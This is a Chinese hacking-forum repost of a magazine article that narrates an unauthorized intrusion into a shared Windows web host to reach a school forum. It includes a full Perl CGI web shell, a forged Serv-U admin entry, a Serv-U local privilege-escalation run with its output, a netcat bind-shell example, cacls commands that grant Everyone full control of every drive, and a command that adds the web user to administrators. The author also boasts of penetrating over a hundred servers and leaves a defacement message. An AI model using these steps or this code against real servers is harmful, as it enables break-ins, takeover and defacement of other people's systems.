找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1879|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
! A' p- F) H! }* X2 [$ g8 }9 k& ^本文作者:angel' \: k( v# O3 f3 b
文章性质:原创
0 x1 Q  P( w( |6 v' i" A# m$ t6 p发布日期:2004-11-09 / i! w& }4 Y+ R& \2 [, X$ s. S8 j
注意:. ^7 g. U& v/ Y& G
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
+ U, n1 l0 R( y# B) _: _本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。$ g! j% y4 q5 X+ Y  v

' I$ i8 M- g: }. @6 o' N  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 . h) v* x' c" c8 `# Y3 `% l# {
- d' d! D4 K2 b9 i+ ?2 w1 p) k
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 % m2 y1 A+ ?( X( G' i0 V7 z9 P( R
+ M7 A0 Q% _6 W9 N2 C) ^. ?
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 4 k0 Y+ ?; T+ Z

" g" ~9 }+ \( U* r3 u+ j2 C  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 # H. d" Z4 b. x9 C

  d0 u# H  r2 y+ h5 G" x3 `! V  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 & s% X$ g8 g+ [

; k) ]0 b  q; J1 }% f  没有目的的跳转目录着…… ( D  Q. N& A) V' Y+ C; _* Z
- [- ?2 N7 I) Y  d! z7 a. v  W' O8 p5 f
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… + |. h4 H8 f" I+ _; p
7 m6 m4 a- b& s5 ?- x0 `- [" w
  结束了吗?不,我试着 FTP 一下:
7 F4 [! u7 x* [3 u) ?2 E3 h0 M, u5 M; r( e  c% b
Microsoft Windows 2000 [Version 5.00.2195]
0 l; Y0 }! ~# N$ ~$ x(C) 版权所有 1985-2000 Microsoft Corp.
8 b0 B- j/ \" B3 Y% R9 H; p8 i1 _' Z, X8 V$ D* u! _( [+ b1 t, |
C:\Documents and Settings\Administrator>ftp www.school.com% Y8 p$ G/ Z. o) S" `
Connected to www. school.com.
" V! p/ n' D* k" a2 c9 o" d* H2 }220 Welcome to FTP Server...
0 _6 j- z/ n/ AUser (www.bjtrq.com:(none)): ! z  F. l* v  Y
331 User name okay, need password. 1 Z/ A2 c  n! V2 x2 l
Password:
8 c9 ~5 b1 @7 Q; V530 Not logged in.
& v. z# s% a! V+ w5 I- sLogin failed. $ M5 ~' U  p0 j/ n- G
ftp> bye 2 n5 O3 I$ [, D4 F: Z
221 Goodbye!
; o% J6 q0 q' {+ L$ f 6 ?. a4 v" Y5 {" w: }& u& T
2 ]7 r0 v8 r. Z! |- L% I
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
  y& Z7 c' {8 [
5 c& ?! |7 n6 |& g' r1 y/ M( f, `& C  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
5 T" `$ `7 B2 D- a" v% [
% _4 F1 B# H) _( X2 i: N. b; G8 _& lApplication Data0 O4 \" k; k, l
Documents
* ^9 C3 G9 S- s. z9 {. aDRM
" R) ~" a/ Z* p- B& R- ], e' P4 uFavorites
) R4 ?) y1 \! bTemplates# e9 z$ v/ u. n& N* u  m
「开始」菜单
: f2 o8 F! d4 U桌面0 X+ M2 {# q) s7 p- U' S: w

) h7 B1 u* P9 R/ {& j9 |" ]5 {+ R" A5 w4 A; c( \9 h
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
7 J: G2 z5 z5 ?7 n) L$ G
; k0 q  ]. y$ f/ U4 j( yActiveState ActivePerl 5.8
" B. p& Z6 l: T0 \8 I! C) eAdministrative Tools
& a) C1 O7 j% t4 H1 o, y  VDeerfield.com8 l1 h3 ]7 n+ t2 N& h
DTemp
2 Y  d3 K; W( K: `+ I) jIPSentry
$ g. o$ u8 Q; gMBM 5% X& S8 i0 l' H6 V1 X! S, s
NetMeter
$ d8 ]% W* a/ X4 U- U. C  ~Network ICE
' a# i1 J1 P" P% I; S9 |Persits Software AspEmail% N. }& G, }* Y
Persits Software AspJpeg
% o$ P: B: k$ [7 LServ-U FTP Server' N. Y( d$ w" x# J" \4 v
Symantec Client Security6 N' J  {4 b" F$ S+ V
Windows 优化大师
# e7 B5 u! ^# l: B, [+ o6 V6 k) EWinRAR+ t8 ^) y/ J) U3 F, N
启动
5 e$ n: y, L& ]7 O. N, o管理工具% X; @9 a3 S2 M6 e4 x. G
附件
$ s1 }) J; G- n& e' [/ L* y
7 g& |- L  Q4 O# ~* j% w4 G- n/ B5 V6 g3 {: @) `3 C4 d6 m
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
) C8 g) u+ }! p+ ]1 y. X' j0 e
1 ]( f  |6 Z" \% m& H  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ a& h6 a* N% F( g. r5 F3 x3 Z4 c- t  F8 L5 F
User281=angel|1|0
+ Q( j4 N) v; @" ]) C
9 ~9 G4 R$ Z0 D* ~" Z" h6 f. `6 u6 {6 H% x/ }8 |
  然后加上 ' w8 D- p! @" q9 B

( u7 F; q; r# p/ O- I6 C( E[USER=angel|1]
6 ~$ G( \; h' |4 e3 N. t9 z6 d/ ^  IPassword=ng98F85379EA68DBF97BAADCA99B69B805, y3 f0 x- e" B
HomeDir=D:\websites
# X. h% i! v. G) l2 t: L: F1 L* gRelPaths=1
1 r" O( q& `* _& @% `/ g8 D. QTimeOut=600
9 E6 ]1 }6 p9 n2 J  }" M2 M" |Maintenance=System9 j# ?3 A% \2 ^8 [4 d! `' D! J
Access1=D:\websites|RWAMELCDP
0 F; f8 U3 Z7 {SKEYValues=4 I' I5 u' {( |9 W
: V5 R, q2 ]0 c& ?
/ ~- s. _8 U: y) O& h
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
5 D7 ^3 V' A3 D7 R$ X) N2 V6 U4 u9 b% D5 o9 R: E9 Z
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& q* z3 y9 w. O+ c( T0 v- A* O! ~3 p& X! E1 H# A0 B5 y' h; K* d
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
; t4 C8 Z; f8 a
1 c: e, D; f& a/ c, Z7 s5 y  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
' A6 P7 ?. N# Q. v
3 ?7 f& r: J% x$ {#!/usr/bin/perl
. F8 T# m- w' Vbinmode(STDOUT);
0 ~7 h9 `3 p. ^syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; k+ a: `% H6 X! Y1 s$ k  b
$_ = $ENV{QUERY_STRING};
" L* G4 t* s. As/%20/ /ig;
! Z1 b6 p, ^* D8 b7 Ps/%2f/\//ig;
5 o! a4 U  K5 y$execthis = $_;
. ]* |, }$ ?* I) O# L+ vsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);4 [" ?) g% }  [. G+ @8 j6 A
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";7 ]+ B" {; A, X: s; @, k  X& Q8 I
system($execthis);2 u2 G; \2 u  @
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);8 n* c8 w# t+ J- A
close(STDERR);5 }* F# m4 J6 d) S8 D+ P6 w. _
close(STDOUT);) \! v. Q  r/ r4 U
exit;# C1 D, F+ h( U7 I; w3 Q
7 c2 r; r& m5 d' Z  X% h6 U

+ l2 l0 S" i, c: e, M* j  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ! L$ x& J: K! [4 c* x
: u4 _) C5 v5 N% B1 ^" y
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: : M; u1 n. |5 D
& f: d4 k, a8 b. K5 {/ `
http://anyhost//cmd.pl?d:\user\bin\su.exe . p: W2 ^; J# Z! B% w4 `* H& t

; Y% U; Y- Q, ]: }: J! H
6 _- Z: o! c* I5 R( P3 Q- ^; f- [  返回:
' b7 C5 t- e6 J2 S8 }6 T% o( {+ i- R: w$ I4 v9 n# H2 _6 v
Serv-u >3.x Local Exploit by xiaolu * ]+ ~' V- x0 U$ S: l

9 S/ o! `7 j8 l1 UUSAGE: serv-u.exe "command"   y/ m4 [4 g9 N; }. T' p
+ P/ S( L  u4 ]. Q: K( d# U( e
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
; h3 ^9 D( c3 V, \! v; u  R
& F# C$ p* u6 B9 |  c) ]/ P+ m8 B
+ l7 d5 O, |% y7 _/ ~  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 @' s2 v& r/ q. \# i2 J: h+ V
/ z# O. e9 ?9 L9 P8 C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ' F0 g- c4 ~! d6 l7 c6 |4 Q3 J
1 i/ w' f# d. ?% e& }
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
; s8 L8 @( W& l4 A) p4 b& g5 T# h: y) [  U3 p, E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
- D% a: m& U5 E' [8 A4 b7 L4 n$ e6 z; Q6 k' {, ?/ j/ R0 X# ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
4 t3 l" q: u# O# @  ?" J+ V7 ~ 9 `7 Q1 H" E* F/ V

5 m6 r  [% y) a' e; u  返回下面的信息,就表示成功了!!!
8 a1 L- z* w! z8 J7 _# j; J" Z% C% ?3 p; e
Serv-u >3.x Local Exploit by xiaolu
8 n1 m2 k- d% I4 B
8 r; X% r6 W0 L) A5 r4 M: y<220 Serv-U FTP Server v5.2 for WinSock ready...
; S+ W  Z9 y& }0 Y8 g: U
9 C9 B; P# d4 I>USER LocalAdministrator
1 n1 b% t* g4 W. X% C' p$ {- A, a7 C2 o
<331 User name okay, need password. 5 w: ], L2 J. d1 r( R3 s

! a+ x8 o9 a7 A****************************************************** : S! R! O7 w( }8 k

8 W& \: Y6 P/ M0 U>PASS #l@$ak#.lk;0@P
4 {: f" h% C9 S" D  b
$ l# C1 s8 {9 A" A' z9 V' T  E<230 User logged in, proceed. 6 G  R, F% E6 i' I% t" a, v
/ a$ H% G  j" S4 k. {0 [# y
****************************************************** ) f  p3 [2 C6 ~  N  z3 Z
1 g: ~' I3 P+ j( m: K3 k
>SITE MAINTENANCE 0 J* s( u' v: H  U4 l
# [; G0 n4 U) |2 {
******************************************************
* V4 I4 u% i! }9 E! Q* ~
9 ~2 _* j2 m- j+ a- m2 b7 f/ a[+] Creating New Domain... 9 Z2 H, a0 ?/ @4 L" y

- h/ K$ P5 W- T: A<200-DomainID=2 % a6 A8 p2 k: l  ?

/ K5 g& g: V+ n2 H<220 Domain settings saved
  e9 j7 Z8 E7 h0 U" E5 _
% o6 j+ Z3 O: g4 m4 s******************************************************
: B0 i# j! K$ J; v) `! ]+ X6 P; z
[+] Domain xl:2 Created
" W1 h) Z" G2 p9 r4 b1 T, F- R$ Q3 C$ R! {" k" A& [+ U/ l3 {. H
[+] Creating Evil User
8 _/ D7 f, Q; \' M7 W7 L( ^$ E5 |2 _
<200-User=xl
2 Z/ Y2 j& B+ y% b+ ^
" d6 D+ O* y. ?# U# j200 User settings saved
, Q! p7 U3 S, {1 Y" ~! }% f9 ]+ p& f( Q1 Q5 N- ]2 p. ?, R* L7 |
****************************************************** * _6 h- _+ p+ C- Z

' s0 D& f- P' V0 h[+] Now Exploiting...
: B# x7 b6 H0 s7 l7 }, C7 E
. ]+ z" D. K/ X5 [4 Q# U>USER xl
/ Y4 k, y# K8 j& c
. E* l" X, p# V- [0 i<331 User name okay, need password. $ ^7 ?* v! G* L, _8 z6 d: w- H2 g

. v7 A2 s+ A4 D% I( k******************************************************
! v0 S9 b5 {$ }+ O: Y# G' \& ^3 t  a7 ]8 s$ m
>PASS 111111
: Q( M/ {/ I3 C* p& M4 j6 `$ e( V
% r3 C" m1 ?5 s<230 User logged in, proceed.
, {0 ^) O# J7 D+ A) Y* Z8 v1 m9 H6 Y% X; o
****************************************************** 8 T2 O7 T% h, G1 p. P
) c6 k- b; j$ x# l* I
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
5 v' k/ e% G( g0 t7 E8 d0 L1 {0 w! l  i7 }5 F: W2 ?9 @
<220 Domain deleted
: C+ r) Y  s3 c: f# B: I. a( G. J+ N8 [0 b0 E. z
******************************************************
5 m6 t' l8 o; n
& O" E8 N3 u' }& f  e; C) X9 \) i- j1 O7 d; F6 b3 |
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 8 e" C6 P2 |' H8 R( y
3 e; w& h) z8 l1 U" J- v& z
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" % f; }6 k) u, W- O6 c0 F! [7 b
- N) }/ h" b, m, T- k' [8 O/ m8 P
- o4 f% s+ G( {- G4 T4 \
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ( ^  U3 e0 @# u& r; }
% m7 |/ t: z* ^2 B( O: @# W' w! B" E
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。1 t) T8 F, }9 h
% B. Z9 E/ i0 D/ P: i9 w
  
4 V: ~& m. B, y. ?( c5 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表